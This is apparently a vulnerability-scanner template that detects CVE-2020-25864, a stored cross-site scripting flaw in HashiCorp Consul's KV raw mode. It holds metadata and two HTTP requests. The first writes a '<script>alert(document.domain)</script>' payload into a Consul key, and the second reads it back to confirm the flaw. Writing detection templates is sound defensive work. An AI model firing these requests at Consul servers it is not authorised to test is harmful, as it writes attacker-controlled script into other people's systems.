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id : CVE-2020-25864
info :
name : HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting
author : c-sh0
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severity : medium
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description : |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode was vulnerable to cross-site scripting. Fixed in 1.9.5, 1.8.10 and 1.7.14.
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reference :
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
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- https://www.hashicorp.com/blog/category/consul
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2020-25864
cwe-id : CWE-79
tags : cve,cve2020,consul,xss
requests :
- raw :
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host : {{Hostname}}
<!DOCTYPE html><script>alert(document.domain)</script>
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers-condition : and
matchers :
- type : status
status :
- 200
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- type : word
part : header
words :
- "text/html"
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- type : word
part : body_2
words :
- "<!DOCTYPE html><script>alert(document.domain)</script>"
